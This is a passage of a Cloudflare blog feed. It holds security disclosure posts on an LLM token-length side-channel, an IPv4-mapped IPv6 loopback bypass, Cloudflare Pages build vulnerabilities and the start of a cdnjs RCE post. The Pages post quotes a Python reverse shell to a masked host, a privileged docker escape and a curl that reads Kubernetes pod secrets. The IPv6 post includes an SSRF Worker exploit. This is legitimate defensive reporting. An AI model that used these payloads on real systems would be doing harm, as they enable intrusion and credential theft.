    <p>If you are a software manufacturer, we encourage you to familiarize yourself with CISA’s <a href="https://www.cisa.gov/securebydesign"><u>‘Secure by Design’</u></a> principles and create a plan to implement them in your company.</p><p>As an individual, we encourage you to participate in the <a href="https://hackerone.com/cloudflare"><u>Cloudflare bug bounty program</u></a> and promote cybersecurity awareness in your community.</p><p>Stay tuned for more updates, and if you’re part of our public program, keep submitting those reports — you might just earn an invitation to join the VIP ranks! You can also find more updates on our blog, as we build our roadmap to meet all seven CISA Secure by Design pledge goals by May 2025!</p><p>Let’s help build a better Internet together.</p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Bug Bounty]]></category>
            <guid isPermaLink="false">6PcliMGa9hJMvd9HafSMwe</guid>
            <dc:creator>Sri Pulla</dc:creator>
            <dc:creator>Trishna</dc:creator>
            <dc:creator>David Haynes</dc:creator>
        </item>
        <item>
            <title><![CDATA[Mitigating a token-length side-channel attack in our AI products]]></title>
            <link>https://blog.cloudflare.com/ai-side-channel-attack-mitigated/</link>
            <pubDate>Thu, 14 Mar 2024 12:30:30 GMT</pubDate>
            <description><![CDATA[ The Workers AI and AI Gateway team recently collaborated closely with security researchers at Ben Gurion University regarding a report submitted through our Public Bug Bounty program. Through this process, we discovered and fully patched a vulnerability affecting all LLM providers. Here’s the story ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5do9zHtgVCZfCILMjoXAmV/0f7e2e3b4bdb298d7fd8c0a97d3b2a19/Mitigating-a-Token-Length-Side-Channel-attack-in-our-AI-products.png" />
            
            </figure><p>Since the discovery of <a href="https://en.wikipedia.org/wiki/CRIME">CRIME</a>, <a href="https://breachattack.com/">BREACH</a>, <a href="https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf">TIME</a>, <a href="https://en.wikipedia.org/wiki/Lucky_Thirteen_attack">LUCKY-13</a> etc., length-based side-channel attacks have been considered practical. Even though packets were encrypted, attackers were able to infer information about the underlying plaintext by analyzing metadata like the packet length or timing information.</p><p>Cloudflare was recently contacted by a group of researchers at <a href="https://cris.bgu.ac.il/en/">Ben Gurion University</a> who wrote a paper titled “<a href="https://cdn.arstechnica.net/wp-content/uploads/2024/03/LLM-Side-Channel.pdf">What Was Your Prompt? A Remote Keylogging Attack on AI Assistants</a>” that describes “a novel side-channel that can be used to read encrypted responses from AI Assistants over the web”.</p><p>The Workers AI and AI Gateway team collaborated closely with these security researchers through our <a href="/cloudflare-bug-bounty-program/">Public Bug Bounty program</a>, discovering and fully patching a vulnerability that affects LLM providers. You can read the detailed research paper <a href="https://cdn.arstechnica.net/wp-content/uploads/2024/03/LLM-Side-Channel.pdf">here</a>.</p><p>Since being notified about this vulnerability, we've implemented a mitigation to help secure all Workers AI and AI Gateway customers. As far as we could assess, there was no outstanding risk to Workers AI and AI Gateway customers.</p>
    <div>
      <h3>How does the side-channel attack work?</h3>
      <a href="#how-does-the-side-channel-attack-work">
        
      </a>
    </div>
    <p>In the paper, the authors describe a method in which they intercept the stream of a chat session with an LLM provider, use the network packet headers to infer the length of each token, extract and segment their sequence, and then use their own dedicated LLMs to infer the response.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6EeuXpPSqqvqIZKZUFPKEY/951a777d273caf172933639d9f5d6f12/pasted-image-0--2--3.png" />
            
            </figure><p>The two main requirements for a successful attack are an AI chat client running in <b>streaming</b> mode and a malicious actor capable of capturing network traffic between the client and the AI chat service. In streaming mode, the LLM tokens are emitted sequentially, introducing a token-length side-channel. Malicious actors could eavesdrop on packets via public networks or within an ISP.</p><p>An example request vulnerable to the side-channel attack looks like this:</p>
            <pre><code>curl -X POST \
https://api.cloudflare.com/client/v4/accounts/&lt;account-id&gt;/ai/run/@cf/meta/llama-2-7b-chat-int8 \
  -H "Authorization: Bearer &lt;Token&gt;" \
  -d '{"stream":true,"prompt":"tell me something about portugal"}'</code></pre>
            <p>Let’s use <a href="https://www.wireshark.org/">Wireshark</a> to inspect the network packets on the LLM chat session while streaming:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6sII07hkJGaVXBKlWoBoEW/a1c3be395e0bee3ec5ed690947737d51/media.png" />
            
            </figure><p>The first packet has a length of 95 and corresponds to the token "Port" which has a length of four. The second packet has a length of 93 and corresponds to the token "ug" which has a length of two, and so on. By removing the likely token envelope from the network packet length, it is easy to infer how many tokens were transmitted and their sequence and individual length just by sniffing encrypted network data.</p><p>Since the attacker needs the sequence of individual token length, this vulnerability only affects text generation models using streaming. This means that AI inference providers that use streaming — the most common way of interacting with LLMs — like Workers AI, are potentially vulnerable.</p><p>This method requires that the attacker is on the same network or in a position to observe the communication traffic and its accuracy depends on knowing the target LLM’s writing style. In ideal conditions, the researchers claim that their system “can reconstruct 29% of an AI assistant’s responses and successfully infer the topic from 55% of them”. It’s also important to note that unlike other side-channel attacks, in this case the attacker has no way of evaluating its prediction against the ground truth. That means that we are as likely to get a sentence with near perfect accuracy as we are to get one where only things that match are conjunctions.</p>
    <div>
      <h3>Mitigating LLM side-channel attacks</h3>
      <a href="#mitigating-llm-side-channel-attacks">
        
      </a>
    </div>
    <p>Since this type of attack relies on the length of tokens being inferred from the packet, it can be just as easily mitigated by obscuring token size. The researchers suggested a few strategies to mitigate these side-channel attacks, one of which is the simplest: padding the token responses with random length noise to obscure the length of the token so that responses can not be inferred from the packets. While we immediately added the mitigation to our own inference product — Workers AI, we wanted to help customers secure their LLMs regardless of where they are running them by adding it to our AI Gateway.</p><p>As of today, all users of Workers AI and AI Gateway are now automatically protected from this side-channel attack.</p>
    <div>
      <h3>What we did</h3>
      <a href="#what-we-did">
        
      </a>
    </div>
    <p>Once we got word of this research work and how exploiting the technique could potentially impact our AI products, we did what we always do in situations like this: we assembled a team of systems engineers, security engineers, and product managers and started discussing risk mitigation strategies and next steps. We also had a call with the researchers, who kindly attended, presented their conclusions, and answered questions from our teams.</p><p>The research team provided a testing notebook that we could use to validate the attack's results. While we were able to reproduce the results for the notebook's examples, we found that the accuracy varied immensely with our tests using different prompt responses and different LLMs. Nonetheless, the paper has merit, and the risks are not negligible.</p><p>We decided to incorporate the first mitigation suggestion in the paper: including random padding to each message to hide the actual length of tokens in the stream, thereby complicating attempts to infer information based solely on network packet size.</p>
    <div>
      <h3>Workers AI, our inference product, is now protected</h3>
      <a href="#workers-ai-our-inference-product-is-now-protected">
        
      </a>
    </div>
    <p>With our inference-as-a-service product, anyone can use the <a href="https://developers.cloudflare.com/workers-ai/">Workers AI</a> platform and make API calls to our supported AI models. This means that we oversee the inference requests being made to and from the models. As such, we have a responsibility to ensure that the service is secure and protected from potential vulnerabilities. We immediately rolled out a fix once we were notified of the research, and all Workers AI customers are now automatically protected from this side-channel attack. We have not seen any malicious attacks exploiting this vulnerability, other than the ethical testing from the researchers.</p><p>Our solution for Workers AI is a variation of the mitigation strategy suggested in the research document. Since we stream JSON objects rather than the raw tokens, instead of padding the tokens with whitespace characters, we added a new property, "p" (for padding) that has a string value of variable random length.</p><p>Example streaming response using the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events">SSE</a> syntax:</p>
            <pre><code>data: {"response":"portugal","p":"abcdefghijklmnopqrstuvwxyz0123456789a"}
data: {"response":" is","p":"abcdefghij"}
data: {"response":" a","p":"abcdefghijklmnopqrstuvwxyz012"}
data: {"response":" southern","p":"ab"}
data: {"response":" European","p":"abcdefgh"}
data: {"response":" country","p":"abcdefghijklmno"}
data: {"response":" located","p":"abcdefghijklmnopqrstuvwxyz012345678"}</code></pre>
            <p>This has the advantage that no modifications are required in the SDK or the client code, the changes are invisible to the end-users, and no action is required from our customers. By adding random variable length to the JSON objects, we introduce the same network-level variability, and the attacker essentially loses the required input signal. Customers can continue using Workers AI as usual while benefiting from this protection.</p>
    <div>
      <h3>One step further: AI Gateway protects users of any inference provider</h3>
      <a href="#one-step-further-ai-gateway-protects-users-of-any-inference-provider">
        
      </a>
    </div>
    <p>We added protection to our AI inference product, but we also have a product that proxies requests to any provider — <a href="https://developers.cloudflare.com/ai-gateway/">AI Gateway</a>. AI Gateway acts as a proxy between a user and supported inference providers, helping developers gain control, performance, and <a href="https://www.cloudflare.com/learning/performance/what-is-observability/">observability</a> over their AI applications. In line with our mission to help build a better Internet, we wanted to quickly roll out a fix that can help all our customers using text generation AIs, regardless of which provider they use or if they have mitigations to prevent this attack. To do this, we implemented a similar solution that pads all streaming responses proxied through AI Gateway with random noise of variable length.</p><p>Our AI Gateway customers are now automatically protected against this side-channel attack, even if the upstream inference providers have not yet mitigated the vulnerability. If you are unsure if your inference provider has patched this vulnerability yet, use AI Gateway to proxy your requests and ensure that you are protected.</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>At Cloudflare, our mission is to help build a better Internet – that means that we care about all citizens of the Internet, regardless of what their tech stack looks like. We are proud to be able to improve the security of our AI products in a way that is transparent and requires no action from our customers.</p><p>We are grateful to the researchers who discovered this vulnerability and have been very collaborative in helping us understand the problem space. If you are a security researcher who is interested in helping us make our products more secure, check out our Bug Bounty program at <a href="http://hackerone.com/cloudflare">hackerone.com/cloudflare</a>.</p> ]]></content:encoded>
            <category><![CDATA[Bug Bounty]]></category>
            <category><![CDATA[LLM]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Workers AI]]></category>
            <category><![CDATA[AI Gateway]]></category>
            <category><![CDATA[SASE]]></category>
            <guid isPermaLink="false">1R32EruY6C8Pu6LrFCGXwy</guid>
            <dc:creator>Celso Martinho</dc:creator>
            <dc:creator>Michelle Chen</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare's handling of a bug in interpreting IPv4-mapped IPv6 addresses]]></title>
            <link>https://blog.cloudflare.com/cloudflare-handling-bug-interpreting-ipv4-mapped-ipv6-addresses/</link>
            <pubDate>Thu, 02 Feb 2023 13:32:00 GMT</pubDate>
            <description><![CDATA[ Recently, a vulnerability was reported to our bug bounty about a bug in the way some of our code interprets IPv4 addresses mapped into IPv6 addresses.  ]]></description>
            <content:encoded><![CDATA[ <p>In November 2022, our <a href="https://www.cloudflare.com/disclosure/">bug bounty program</a> received a critical and very interesting report. The report stated that certain types of DNS records could be used to bypass some of our network policies and connect to ports on the loopback address (e.g. 127.0.0.1) of our servers. This post will explain how we dealt with the report, how we fixed the bug, and the outcome of our internal investigation to see if the vulnerability had been previously exploited.</p><p><a href="https://datatracker.ietf.org/doc/html/rfc4291#section-2-5-5">RFC 4291</a> defines ways to embed an IPv4 address into IPv6 addresses. One of the methods defined in the RFC is to use IPv4-mapped IPv6 addresses, that have the following format:</p>
            <pre><code>   |                80 bits               | 16 |      32 bits        |
   +--------------------------------------+--------------------------+
   |0000..............................0000|FFFF|    IPv4 address     |
   +--------------------------------------+----+---------------------+</code></pre>
            <p>In IPv6 notation, the corresponding mapping for <code>127.0.0.1</code> is <code>::ffff:127.0.0.1</code> (<a href="https://datatracker.ietf.org/doc/html/rfc4038">RFC 4038</a>)</p><p>The researcher was able to use DNS entries based on mapped addresses to bypass some of our controls and access ports on the loopback address or non-routable IPs.</p><p>This vulnerability was reported on November 27 to our bug bounty program. Our Security Incident Response Team (SIRT) was contacted, and incident response activities began shortly after the report was filed. A hotpatch was deployed three hours later to prevent exploitation of the bug.</p>
<table>
<thead>
  <tr>
    <th><span>Date</span></th>
    <th><span>Time (UTC)</span></th>
    <th><span>Activity</span></th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><span>27 November 2022</span></td>
    <td><span>20:42</span></td>
    <td><span>Initial report to Cloudflare's bug bounty program</span></td>
  </tr>
  <tr>
    <td></td>
    <td><span>21:04</span></td>
    <td><span>SIRT oncall is paged</span></td>
  </tr>
  <tr>
    <td></td>
    <td><span>21:15</span></td>
    <td><span>SIRT manager on call starts working on the report</span></td>
  </tr>
  <tr>
    <td></td>
    <td><span>21:22</span></td>
    <td><span>Incident declared and team is assembled and debugging starts</span></td>
  </tr>
  <tr>
    <td></td>
    <td><span>23:20</span></td>
    <td><span>A hotfix is ready and deployment starts</span></td>
  </tr>
  <tr>
    <td></td>
    <td><span>23:47</span></td>
    <td><span>Team confirms that the hotfix is deployed and working</span></td>
  </tr>
  <tr>
    <td></td>
    <td><span>23:58</span></td>
    <td><span>Team investigates if other products are affected. Load Balancers and Spectrum are potential targets. Both products are found to be unaffected by the vulnerability.</span></td>
  </tr>
  <tr>
    <td><span>28 November 2022</span></td>
    <td><span>21:14</span></td>
    <td><span>A permanent fix is ready</span></td>
  </tr>
  <tr>
    <td><span>29 November 2022</span></td>
    <td><span>21:34</span></td>
    <td><span>Permanent fix is merged</span></td>
  </tr>
</tbody>
</table>
    <div>
      <h3>Blocking exploitation</h3>
      <a href="#blocking-exploitation">
        
      </a>
    </div>
    <p>Immediately after the vulnerability was reported to our Bug Bounty program, the team began working to understand the issue and find ways to quickly block potential exploitation. It was determined that the fastest way to prevent exploitation would be to block the creation of the DNS records required to execute the attack.</p><p>The team then began to implement a patch to prevent the creation of DNS records that include IPv6 addresses that map loopback or RFC 1918 (internal) IPv4 addresses. The fix was fully deployed and confirmed three hours after the report was filed. We later realized that this change was insufficient because records hosted on external DNS servers could also be used in this attack.</p>
    <div>
      <h3>The exploit</h3>
      <a href="#the-exploit">
        
      </a>
    </div>
    <p>The exploit provided consisted of the following: a DNS entry, and a Cloudflare Worker. The DNS entry was an <code>AAAA</code> record pointing to <code>::ffff:127.0.0.1:</code></p><p><code>exploit.example.com</code> <code>AAAA</code> <code>::ffff:127.0.0.1</code></p><p>The worker included the following code:</p>
            <pre><code>export default {
    async fetch(request) {
        const requestJson = await request.json()
        return fetch(requestJson.url, requestJson)
    }
}</code></pre>
            <p>The Worker was given a custom URL such as <code>proxy.example.com</code>.</p><p>With that setup, it was possible to make the worker attempt connections on the loopback interface of the server where it was running. The call would look like this:</p>
            <pre><code>curl https://proxy.example.com/json -d '{"url":"http://exploit.example.com:80/url_path"}'</code></pre>
            <p>The attack could then be scripted to attempt to connect to multiple ports on the server.</p><p>It was also found that a similar setup could be used with other IPv4 addresses to attempt connections into internal services. In this case, the DNS entry would look like:</p>
            <pre><code>exploit.example.com AAAA ::ffff:10.0.0.1</code></pre>
            <p>This exploit would allow an attacker to connect to services running on the loopback interface of the server. If the attacker was able to bypass the security and authentication mechanisms of a service, it could impact the confidentiality and integrity of data. For services running on other servers, the attacker could also use the worker to attempt connections and map services available over the network. As in most networks, Cloudflare's network policies and ACLs must allow a few ports to be accessible. These ports would be accessible by an attacker using this exploit.</p>
    <div>
      <h3>Investigation</h3>
      <a href="#investigation">
        
      </a>
    </div>
    <p>We started an investigation to understand the root cause of the problem and created a proof-of-concept that allowed the team to debug the issue. At the same time, we started a parallel investigation to determine if the issue had been previously exploited.</p><p>It all happened when two bugs collided.</p><p>The first bug happened in our internal DNS system which is responsible for mapping hostnames to IP addresses of our customers’ origin servers (the DNS system). When the DNS system tried to answer a query for the DNS record from exploit.example.com, it serialized the IP as a string. The <a href="https://pkg.go.dev/net#IP.String">Golang net library</a> used for DNS automatically converted the IP <code>::ffff:10.0.0.1</code> to string “10.0.0.1”. However, the DNS system still treated it as an IPv6 address. So a query response <code>{ipv6: “10.0.0.1”}</code> was returned.</p><p>The second bug was in our internal HTTP system (the proxy) which is responsible for forwarding HTTP traffic to customer’s origin servers. The bug happened in how the proxy validates this DNS response, <code>{ipv6: “10.0.0.1”}</code>. The proxy has two deny lists of IPs that are not allowed to be used, one for IPv4 and one for IPv6. These lists contain localhost IPs and private IPs. The bug was that the proxy system compared the address 10.0.0.1 against the IPv6 deny list because the address was in the “ipv6” section. Naturally the address didn’t match any entry in the deny list. So the address was allowed to be used as an origin IP address.</p><p>The second investigation team searched through the logs and found no evidence of previous exploitation of this vulnerability. The team also checked Cloudflare DNS for entries using IPv4-mapped IPv6 addresses and determined that all the existing entries had been used for testing purposes. As of now, there are no signs that this vulnerability could have been previously used against Cloudflare systems.</p>
    <div>
      <h3>Remediating the vulnerability</h3>
      <a href="#remediating-the-vulnerability">
        
      </a>
    </div>
    <p>To address this issue we implemented a fix in the proxy service to correctly use the deny list of the parsed address, not the deny list of the IP family the DNS API response claimed to be, to validate the IP address. We confirmed both in our test and production environments that the fix did prevent the issue from happening again.</p><p>Beyond maintaining a <a href="https://www.cloudflare.com/disclosure/">bug bounty program</a>, we regularly perform internal security reviews and hire third-party firms to audit the software we develop. But it is through our bug bounty program that we receive some of the most interesting and creative reports. Each report has helped us improve the security of our services. We invite those that find a security issue in any of Cloudflare’s services to report it to us through <a href="https://hackerone.com/cloudflare">HackerOne</a>.</p> ]]></content:encoded>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Bug Bounty]]></category>
            <category><![CDATA[IPv6]]></category>
            <guid isPermaLink="false">2moNY48YbcqIe8gCAZ6P6K</guid>
            <dc:creator>Lucas Ferreira</dc:creator>
            <dc:creator>Aki Shugaeva</dc:creator>
            <dc:creator>Yuchen Wu</dc:creator>
        </item>
        <item>
            <title><![CDATA[The Cloudflare Bug Bounty program and Cloudflare Pages]]></title>
            <link>https://blog.cloudflare.com/pages-bug-bounty/</link>
            <pubDate>Fri, 06 May 2022 13:00:00 GMT</pubDate>
            <description><![CDATA[ The Cloudflare Bug Bounty has resulted in numerous security improvements to Cloudflare Pages ]]></description>
            <content:encoded><![CDATA[ <p></p><p><i>The Cloudflare Pages team recently collaborated closely with security researchers at</i> <a href="https://assetnote.io/"><i>Assetnote</i></a> <i>through our</i> <a href="https://hackerone.com/cloudflare"><i>Public Bug Bounty</i></a><i>. Throughout the process we found and have fully patched vulnerabilities discovered in Cloudflare Pages. You can read their detailed</i> <a href="https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt1/"><i>write-up here</i></a><i>. There is no outstanding risk to Pages customers. In this post we share information about the research that could help others make their infrastructure more secure, and also highlight our bug bounty program that helps to make our product more secure.</i></p><p>Cloudflare cares deeply about security and protecting our users and customers — in fact, it’s a big part of the reason we’re here. But how does this manifest in terms of how we run our business? There are a number of ways. One very important prong of this is our <a href="/cloudflare-bug-bounty-program/">bug bounty program</a> that facilitates and rewards security researchers for their collaboration with us.</p><p>But we don’t just fix the security issues we learn about — in order to build trust with our customers and the community more broadly, we are transparent about incidents and bugs that we find.</p><p>Recently, we worked with a group of researchers on improving the security of Cloudflare Pages. This collaboration resulted in several security vulnerability discoveries that we quickly fixed. We have no evidence that malicious actors took advantage of the vulnerabilities found. Regardless, we notified the limited number of customers that might have been exposed.</p><p>In this post we are publicly sharing what we learned, and the steps we took to remediate what was identified. We are thankful for the collaboration with the researchers, and encourage others to <a href="http://hackerone.com/cloudflare">use the bounty program</a> to work with us to help us make our services — and by extension the Internet — more secure!</p>
    <div>
      <h2>What happens when a vulnerability is reported?</h2>
      <a href="#what-happens-when-a-vulnerability-is-reported">
        
      </a>
    </div>
    <p>Once a vulnerability has been reported via HackerOne, it flows into our vulnerability management process:</p><ol><li><p>We investigate the issue to understand the criticality of the report.</p></li><li><p>We work with the engineering teams to scope, implement, and validate a fix to the problem. For urgent problems we start working with engineering immediately, and less urgent issues we track and prioritize alongside engineering’s normal bug fixing cadences.</p></li><li><p>Our Detection and Response team investigates high severity issues to see whether the issue was exploited previously.</p></li></ol><p>This process is flexible enough that we can prioritize important fixes same-day, but we never lose track of lower criticality issues.</p>
    <div>
      <h2>What was discovered in Cloudflare Pages?</h2>
      <a href="#what-was-discovered-in-cloudflare-pages">
        
      </a>
    </div>
    <p>The Pages team had to solve a pretty difficult problem for Cloudflare Builds (our <a href="https://www.cloudflare.com/learning/serverless/glossary/what-is-ci-cd/">CI/CD build pipeline</a>): how can we run untrusted code safely in a multi-tenant environment? Like all complex engineering problems, getting this right has been an iterative process. In all cases, we were able to quickly and definitively address bugs reported by security researchers. However, as we continued to work through reports by the researchers, it became clear that our initial build architecture decisions provided too large an <a href="https://www.cloudflare.com/learning/security/what-is-an-attack-surface/">attack surface</a>. The Pages team pivoted entirely and re-architected our platform in order to use gVisor and further isolate builds.</p><p>When determining impact, it is not enough to find no evidence that a bug was exploited, <i>we must conclusively prove that it was not exploited</i>. For almost all the bugs reported, we found definitive signals in audit logs and were able to correlate that data exclusively against activity by trusted security researchers.</p><p>However, for one bug, <i>while we found no evidence that the bug was exploited beyond the work of security researchers</i>, we were not able meaningfully prove that it was not. In the spirit of full transparency, we notified all Pages users that may have been impacted.</p><p>Now that all the issues have been remedied, and individual customers have been notified, we’d like to share more information about the issues.</p>
    <div>
      <h3>Bug 1: Command injection in CLONE_REPO</h3>
      <a href="#bug-1-command-injection-in-clone_repo">
        
      </a>
    </div>
    <p>With a flaw in our logic during build initialization, it was possible to execute arbitrary code, echo environment variables to a file and then read the contents of that file.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4xCsRLGOMLRsVRAAbQBjXM/98cc4254afa79a1e21b503f2a3cb94a4/image2-1.png" />
            
            </figure><p>The crux of the bug was that <code>root_dir</code> in this line of code was attacker controlled. After gaining control the researcher was able to specially craft a malicious <code>root_dir</code> to dump the environment variables of the process to a file. Those environment variables contained our GitHub bot’s authorization key. This would have allowed the attacker to read the repositories of other Pages' customers, and many of those repositories are private.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/61X1OXGLWGeBCkSmeQb8nj/275441334f56e028dd27971b642a2317/image1-6.png" />
            
            </figure><p>After fixing the input validation for this field to prevent the bug, and rolling the disclosed keys, we investigated all other paths that had ever been set by our Pages customers to see if this attack had ever been performed by any other (potentially malicious) security researchers. We had logs showing that this was the first this particular attack had ever been performed, and responsibly reported.</p>
    <div>
      <h3>Bug 2: Command injection in PUBLISH_ASSETS</h3>
      <a href="#bug-2-command-injection-in-publish_assets">
        
      </a>
    </div>
    <p>This bug is nearly identical to the first one, but on the publishing step instead of the clone step. We went to work rotating the secrets that were exposed, fixing the input validation issues, and rotating the exposed secrets. We investigated the Cloudflare audit logs to confirm that the sensitive credentials had not been used by anyone other than our build infrastructure, and within the scope of the security research being performed.</p>
    <div>
      <h3>Bug 3: Cloudflare API key disclosure in the asset publishing process</h3>
      <a href="#bug-3-cloudflare-api-key-disclosure-in-the-asset-publishing-process">
        
      </a>
    </div>
    <p>While building customer pages, a program called /opt/pages/bin/pages-metadata-generator is involved. This program had the Linux permissions of 777, allowing all users on the machine to read the program, execute the program, but most importantly overwrite the program. If you can overwrite the program prior to its invocation, the program might run with higher permissions when the next user comes along and wants to use it.</p><p>In this case the attack is simple. When a Pages build runs, the following <code>build.sh</code> is specified to run, and it can overwrite the executable with a new one.</p>
            <pre><code>#!/bin/bash
cp pages-metadata-generator /opt/pages/bin/pages-metadata-generator</code></pre>
            <p>This allows the attacker to provide their own <code>pages-metadata-generator</code> program that is run with a populated set of environment variables. The proof of concept provided to Cloudflare was this minimal reverse shell.</p>
            <pre><code>#!/bin/bash
echo "henlo fren"
export &gt; /tmp/envvars
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x.x",9448));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'</code></pre>
            <p>With a reverse shell, the attackers only need to run `env` to see a list of environment variables that the program was invoked with. We fixed the file permissions of the process, rotated the credentials, and investigated in Cloudflare audit logs to confirm that the sensitive credentials had not been used by anyone other than our build infrastructure, and within the scope of the security research.</p>
    <div>
      <h3>Bug 4: Bash path injection</h3>
      <a href="#bug-4-bash-path-injection">
        
      </a>
    </div>
    <p>This issue was very similar to Bug 3. The PATH environment variable contained a large set of directories for maximum compatibility with different developer tools.</p><p><code>PATH=/opt/buildhome/.swiftenv/bin:/opt/buildhome/.swiftenv/shims:/opt/buildhome/.php:/opt/buildhome/.binrc/bin:/usr/local/rvm/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/buildhome/.cask/bin:/opt/buildhome/.gimme/bin:/opt/buildhome/.dotnet/tools:/opt/buildhome/.dotnet</code></p><p>Unfortunately not all of these directories were set to the proper filesystem permissions allowing a malicious version of the program bash to be written to them, and later invoked by the Pages build process. We patched this bug, rotated the impacted credentials, and investigated in Cloudflare audit logs to confirm that the sensitive credentials had not been used by anyone other than our build infrastructure, and within the scope of the security research.</p>
    <div>
      <h3>Bug 5: Azure pipelines escape</h3>
      <a href="#bug-5-azure-pipelines-escape">
        
      </a>
    </div>
    <p>Back when this research was conducted we were running Cloudflare Pages on Azure Pipelines. Builds were taking place in highly privileged containers and the containers had the docker socket available to them. Once the researchers had root within these containers, escaping them was trivial after installing docker and mounting the root directory of the host machine.</p>
            <pre><code>sudo docker run -ti --privileged --net=host -v /:/host -v /dev:/dev -v /run:/run ubuntu:latest</code></pre>
            <p>Once they had root on the host machine, they were able to recover Azure DevOps credentials from the host which gave access to the Azure Organization that Cloudflare Pages was running within.</p><p>The credentials that were recovered gave access to highly audited APIs where we could validate that this issue was not previously exploited outside this security research.</p>
    <div>
      <h3>Bug 6: Pages on Kubernetes</h3>
      <a href="#bug-6-pages-on-kubernetes">
        
      </a>
    </div>
    <p>After receipt of the above bugs,  we decided to change the architecture  of Pages. One of these changes was migration of the product from Azure to Kubernetes, and simplifying the workflow, so the attack surface was smaller and defensive programming practices were easier to implement. After the change, Pages builds are within Kubernetes Pods and are seeded with the minimum set of credentials needed.</p><p>As part of this migration, we left off a very important iptables rule in our Kubernetes control plane, making it easy to <code>curl</code> the Kubernetes API and read secrets related to other Pods in the cluster (each Pod representing a separate Pages build).</p>
            <pre><code>curl -v -k [http://10.124.200.1:10255/pods](http://10.124.200.1:10255/pods)</code></pre>
            <p>We quickly patched this issue with iptables rules to block network connections to the Kubernetes control plane. One of the secrets available to each Pod was the GitHub OAuth secret which would have allowed someone who exploited this issue to read the GitHub repositories of other Pages' customers.</p><p>In the previously reported issues we had robust logs that showed us that the attacks that were being performed had never been performed by anyone else. The logs related to inspecting Pods were not available to us, so we decided to notify all Cloudflare Pages customers that had ever had a build run on our Kubernetes-based infrastructure. After patching the issue and investigating which customers were impacted, we emailed impacted customers on February 3 to tell them that it’s possible someone other than the researcher had exploited this issue, because our logs couldn’t prove otherwise.</p>
    <div>
      <h2>Takeaways</h2>
      <a href="#takeaways">
        
      </a>
    </div>
    <p>We are thankful for all the security research performed on our Pages product, and done so at such an incredible depth. CI/CD and build infrastructure security problems are notoriously hard to prevent. A bug bounty that incentivizes researchers to keep coming back is invaluable, and we appreciate working with researchers who were flexible enough to perform great research, and work with us as we re-architected the product for more robustness. An in-depth write-up of these issues is available from the Assetnote team on <a href="https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt1/">their website</a>.</p><p>More than this, however, the work of all these researchers is one of the best ways to test the security architecture of any product. While it might seem counter-intuitive after a post listing out a number of bugs, all these diligent eyes on our products allow us to feel much more confident in the security architecture of Cloudflare Pages. We hope that our transparency, and our description of the work done on our security posture, enables you to feel more confident, too.</p><p>Finally: if you are a security researcher, we’d love to work with you to make our products more secure. Check out <a href="https://hackerone.com/cloudflare">hackerone.com/cloudflare</a> for more info!</p> ]]></content:encoded>
            <category><![CDATA[Bug Bounty]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">1EuGlcHFo9aPl8DaujMbpQ</guid>
            <dc:creator>Evan Johnson</dc:creator>
            <dc:creator>Natalie Rogers</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare's Handling of an RCE Vulnerability in cdnjs]]></title>
            <link>https://blog.cloudflare.com/cloudflares-handling-of-an-rce-vulnerability-in-cdnjs/</link>
            <pubDate>Sat, 24 Jul 2021 12:57:57 GMT</pubDate>
            <description><![CDATA[ Recently, a RCE vulnerability in the way cdnjs’ backend is automatically keeping web resources up to date has been disclosed. Read about how Cloudflare handled the security incident and what will prevent similar exploits in the future. ]]></description>
            <content:encoded><![CDATA[ <p></p><p><a href="https://cdnjs.com/">cdnjs</a> provides JavaScript, CSS, images, and fonts assets for websites to reference with more than 4,000 libraries available. By utilizing cdnjs, websites can load faster with less strain on one’s own origin server as files are served directly from Cloudflare’s edge. Recently, a <a href="https://blog.ryotak.me/post/cdnjs-remote-code-execution-en/">blog post</a> detailed a vulnerability in the way cdnjs’ backend automatically keeps the libraries up to date.</p><p>This vulnerability allowed the researcher to execute arbitrary code, granting the ability to modify assets. This blog post details how Cloudflare responded to this report, including the steps we took to block exploitation, investigate potential abuse, and remediate the vulnerability.</p><p>This vulnerability is not related to Cloudflare CDN. The <i>cdnjs</i> project is a platform that leverages Cloudflare’s services, but the vulnerability described below relates to <i>cdnjs</i>’ platform only. To be clear, no existing libraries were modified using this exploit. The researcher published a new package which demonstrated the vulnerability and our investigation concluded that the integrity of all assets hosted on cdnjs remained intact.</p>
    <div>
      <h3>Disclosure Timeline</h3>
      <a href="#disclosure-timeline">
        
      </a>
    </div>
